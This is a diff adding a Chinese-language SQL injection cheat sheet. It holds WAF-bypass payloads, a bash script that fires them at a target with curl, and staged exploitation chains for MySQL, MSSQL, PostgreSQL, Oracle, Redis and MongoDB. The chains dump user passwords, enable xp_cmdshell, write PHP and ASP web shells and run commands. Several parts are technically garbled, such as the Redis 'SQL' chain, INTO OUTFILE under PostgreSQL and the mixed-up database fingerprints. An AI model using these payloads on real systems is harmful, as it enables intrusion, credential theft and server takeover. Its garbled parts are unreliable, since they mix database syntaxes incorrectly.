875
+ ```
876
+
877
+ ### 11.6 特殊字符替代
878
+
879
+ ```bash
880
+ # 原型
881
+ ' OR 1=1--
882
+
883
+ # 绕过:使用替代字符
884
+ ' || 1=1--
885
+ ' | 1=1--
886
+ ' & 1=1--
887
+ ' && 1=1--
888
+ ```
889
+
890
+ ### 11.7 数字替代
891
+
892
+ ```bash
893
+ # 使用数学运算
894
+ ' UNION SELECT 1,2,3--
895
+ ' UNION SELECT 1,2,3e0--
896
+ ' UNION SELECT 1,0x2,0x3--
897
+ ```
898
+
899
+ ### 11.8 WAF绕过判断脚本
900
+
901
+ ```bash
902
+ #!/bin/bash
903
+ # SQL注入WAF绕过测试脚本
904
+
905
+ TARGET="http://api/user"
906
+ PARAM="id"
907
+
908
+ echo "=== SQL注入WAF绕过测试 ==="
909
+
910
+ # 定义绕过payload
911
+ BYPASS_PAYLOADS=(
912
+ # 大小写混淆
913
+ "${PARAM}=1' UnIoN SeLeCt 1,2,3--"
914
+ "${PARAM}=1' uNiOn SeLeCt user(),2,3--"
915
+
916
+ # 内联注释
917
+ "${PARAM}=1'/*!UNION*//*!SELECT*/1,2,3--"
918
+ "${PARAM}=1'/*!50000UNION*//*!50000SELECT*/1,2,3--"
919
+
920
+ # 双写绕过
921
+ "${PARAM}=1' UNUNIONION SELSELECTECT 1,2,3--"
922
+
923
+ # 空格替代
924
+ "${PARAM}=1'/**/UNION/**/SELECT/**/1,2,3--"
925
+ "${PARAM}=1'%0aUNION%0aSELECT%0a1,2,3--"
926
+ "${PARAM}=1'%0bUNION%0bSELECT%0b1,2,3--"
927
+
928
+ # 特殊字符
929
+ "${PARAM}=1'||1=1--"
930
+ "${PARAM}=1'&&1=1--"
931
+ )
932
+
933
+ for PAYLOAD in "${BYPASS_PAYLOADS[@]}"; do
934
+ echo "[测试] ${PAYLOAD:0:60}..."
935
+ RESP=$(curl -s "${TARGET}?${PAYLOAD}")
936
+
937
+ # 检查是否绕过成功
938
+ if echo "$RESP" | grep -qiE "(sql|mysql|error|syntax|database|version)"; then
939
+ echo " → [绕过成功] 响应包含数据库信息"
940
+ echo " 响应片段: ${RESP:0:100}"
941
+ elif [ ${#RESP} -gt 100 ]; then
942
+ echo " → [疑似成功] 响应长度异常: ${#RESP}"
943
+ else
944
+ echo " → [失败] 被拦截或无响应"
945
+ fi
946
+ echo ""
947
+ done
948
+ ```
949
+
950
+ ## 12. SQL注入详细利用链
951
+
952
+ ### 12.1 MySQL完整利用链
953
+
954
+ ```bash
955
+ # 阶段1: 探测注入点
956
+ ' OR '1'='1
957
+
958
+ # 阶段2: 确定列数
959
+ ' ORDER BY 1--
960
+ ' ORDER BY 2--
961
+ ' ORDER BY 3-- (报错则列数为2)
962
+
963
+ # 阶段3: 确定显示位置
964
+ ' UNION SELECT 1,2,3--
965
+
966
+ # 阶段4: 获取数据库信息
967
+ ' UNION SELECT 1,database(),version()--
968
+
969
+ # 阶段5: 获取表名
970
+ ' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
971
+
972
+ # 阶段6: 获取列名
973
+ ' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--
974
+
975
+ # 阶段7: 获取数据
976
+ ' UNION SELECT 1,username,password FROM users LIMIT 0,1--
977
+
978
+ # 阶段8: 获取Shell (DBA权限)
979
+ ' UNION SELECT 1,2,load_file('/var/www/html/config.php')-- # 读取配置
980
+ ' UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- # 写入Shell
981
+
982
+ # 阶段9: 命令执行
983
+ http://target/shell.php?cmd=whoami
984
+ ```
985
+
986
+ ### 12.2 MSSQL完整利用链
987
+
988
+ ```bash
989
+ # 阶段1: 探测注入点
990
+ ' OR 1=1--
991
+
992
+ # 阶段2: 获取版本信息
993
+ ' UNION SELECT 1,@@version,3--
994
+
995
+ # 阶段3: 检查xp_cmdshell状态
996
+ '; EXEC master..xp_cmdshell 'whoami'--
997
+
998
+ # 阶段4: 开启xp_cmdshell
999
+ '; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
1000
+
1001
+ # 阶段5: 命令执行
1002
+ '; EXEC master..xp_cmdshell 'whoami'--
1003
+
1004
+ # 阶段6: 写入Shell
1005
+ '; EXEC master..xp_cmdshell 'echo ^<%eval(request("cmd"))^> > C:\inetpub\wwwroot\shell.asp'--
1006
+
1007
+ # 阶段7: 读取配置文件
1008
+ ' UNION SELECT 1,2,string FROM master..sysdatabases--
1009
+ ```
1010
+
1011
+ ### 12.3 PostgreSQL完整利用链
1012
+
1013
+ ```bash
1014
+ # 阶段1: 探测注入点
1015
+ ' OR 1=1--
1016
+
1017
+ # 阶段2: 获取版本
1018
+ ' UNION SELECT 1,version(),3--
1019
+
1020
+ # 阶段3: 获取表名
1021
+ ' UNION SELECT 1,table_name,3 FROM information_schema.tables--
1022
+
1023
+ # 阶段4: 获取列名
1024
+ ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
1025
+
1026
+ # 阶段5: 获取数据
1027
+ ' UNION SELECT 1,username,password FROM users--
1028
+
1029
+ # 阶段6: 写入文件
1030
+ ' UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/shell.php'--
1031
+
1032
+ # 阶段7: 命令执行 (如果有)
1033
+ '; COPY (SELECT '') TO PROGRAM 'whoami'--
1034
+ ```
1035
+
1036
+ ### 12.4 Oracle完整利用链
1037
+
1038
+ ```bash
1039
+ # 阶段1: 探测注入点
1040
+ ' OR 1=1--
1041
+
1042
+ # 阶段2: 获取版本
1043
+ ' UNION SELECT 1,banner,3 FROM v$version--
1044
+
1045
+ # 阶段3: 获取表名
1046
+ ' UNION SELECT 1,table_name,3 FROM user_tables--
1047
+
1048
+ # 阶段4: 获取列名
1049
+ ' UNION SELECT 1,column_name,3 FROM user_tab_columns WHERE table_name='USERS'--
1050
+
1051
+ # 阶段5: 获取数据
1052
+ ' UNION SELECT 1,username,password FROM users--
1053
+
1054
+ # 阶段6: 报错注入获取数据
1055
+ ' AND CTXSYS.DRITHSX.SN(user,(SELECT password FROM users))>0--
1056
+ ```
1057
+
1058
+ ### 12.5 Redis注入利用链
1059
+
1060
+ ```bash
1061
+ # Redis未授权访问 + SQL注入
1062
+ # 探测: 观察响应是否包含Redis信息
1063
+
1064
+ # 读取Redis配置
1065
+ ' UNION SELECT 1,2,config_get(*) FROM redis_instance--
1066
+
1067
+ # 写入WebShell
1068
+ ' UNION SELECT 1,2,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--
1069
+
1070
+ # 如果支持堆叠查询
1071
+ '; SET @a '<?php system($_GET["cmd"]); ?>'; CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SAVE--
1072
+ ```
1073
+
1074
+ ### 12.6 MongoDB注入利用链
1075
+
1076
+ ```bash
1077
+ # MongoDB运算符注入
1078
+ # 探测: {'$ne': 1} 等
1079
+
1080
+ # 绕过登录
1081
+ ' OR '1'='1 → {"$or": [{"username": "admin"}, {"username": "{$gt": ""}}]}
1082
+
1083
+ # 获取数据
1084
+ {"$regex": "^admin.*"}
1085
+ {"$where": "function() { return true; }"}
1086
+
1087
+ # 报错注入
1088
+ ' AND 1=1 -- → {"$where": "function() { return sleep(5); }"}
1089
+ ```
1090
+
1091
+ ### 12.7 利用链速查表
1092
+
1093
+ | 阶段 | MySQL | MSSQL | PostgreSQL | Oracle | Redis |
1094
+ |------|-------|-------|------------|--------|-------|
1095
+ | 探测 | `' OR '1'='1` | `' OR 1=1--` | `' OR 1=1--` | `' OR 1=1--` | `{"$ne": 1}` |
1096
+ | 列数 | ORDER BY N | ORDER BY N | ORDER BY N | UNION NULL | - |
1097
+ | 信息 | database() | @@version | version() | v$version | redis_version() |
1098
+ | 表名 | information_schema | sysobjects | information_schema | user_tables | CONFIG GET * |
1099
+ | 写文件 | INTO OUTFILE | xp_cmdshell | COPY TO | UTL_FILE | CONFIG SET |
1100
+ | 命令 | 需要DBA | xp_cmdshell | COPY TO PROGRAM | 需要DBA | 支持未授权 |
1101
+
1102
+ ## 13. 各数据库指纹识别
1103
+
1104
+ ```bash
1105
+ # MySQL特征
1106
+ LEN(), SUBSTRING(), SLEEP(), BENCHMARK()
1107
+ MySQL server version %s
1108
+
1109
+ # MSSQL特征
1110
+ WAITFOR, CHARINDEX(), @@version
1111
+ SqlServer Native Client
1112
+
1113
+ # PostgreSQL特征
1114
+ pg_sleep(), COPY, pg_catalog
1115
+ PostgreSQL %s
1116
+
1117
+ # Oracle特征
1118
+ CTXSYS.DRITHSX.SN(), v$version
1119
+ ORA-01756
1120
+
1121
+ # MongoDB特征
1122
+ $ne, $gt, $regex, $where
1123
+ NoSQLDB/MongoDB
1124
+
1125
+ # Redis特征
1126
+ CONFIG, SET, GET, SELECT
1127
+ +OK, -ERR
1128
+ ```